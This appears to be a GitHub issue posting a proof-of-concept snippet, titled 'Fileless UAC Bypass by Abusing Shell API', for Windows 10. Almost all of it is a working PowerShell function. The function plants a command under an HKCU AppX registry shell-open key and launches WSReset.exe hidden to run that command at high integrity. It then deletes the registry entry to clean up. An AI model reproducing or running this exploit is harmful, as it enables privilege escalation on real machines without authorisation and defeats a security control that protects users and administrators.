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[POC Snippet Request] Fileless UAC Bypass by Abusing Shell API #20

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pwn

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powershell

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Fileless UAC Bypass by Abusing Shell API

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function Invoke-WSResetBypass {
<#
.SYNOPSIS
Fileless UAC Bypass by Abusing Shell API
.PARAMETER Command
Specifies the command you would like to run in high integrity context.
 
.EXAMPLE
Invoke-WSResetBypass -Command "C:\Windows\System32\cmd.exe /c start cmd.exe"
This will effectivly start cmd.exe in high integrity context.
.NOTES
This UAC bypass has been tested on the following:
 - Windows 10 Version 1803 OS Build 17134.590
 - Windows 10 Version 1809 OS Build 17763.316
#>
      Param (
      [String]\$Command = "C:\Windows\System32\cmd.exe /c start cmd.exe"
      )
      \$CommandPath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      \$filePath = "HKCU:\Software\Classes\AppX82a6gwre4fdg3bt635tn5ctqjf8msdd2\Shell\open\command"
      New-Item \$CommandPath -Force | Out-Null
      New-ItemProperty -Path \$CommandPath -Name "DelegateExecute" -Value "" -Force | Out-Null
      Set-ItemProperty -Path \$CommandPath -Name "(default)" -Value \$Command -Force -ErrorAction SilentlyContinue | Out-Null
      Write-Host "[+] Registry entry has been created successfully!"
      \$Process = Start-Process -FilePath "C:\Windows\System32\WSReset.exe" -WindowStyle Hidden
      Write-Host "[+] Starting WSReset.exe"
      Write-Host "[+] Triggering payload.."
      Start-Sleep -Seconds 5
      if (Test-Path \$filePath) {
      Remove-Item \$filePath -Recurse -Force
      Write-Host "[+] Cleaning up registry entry"
      }
}

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Fileless UAC Bypass by Abusing Shell API

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function Invoke-WSResetBypass {

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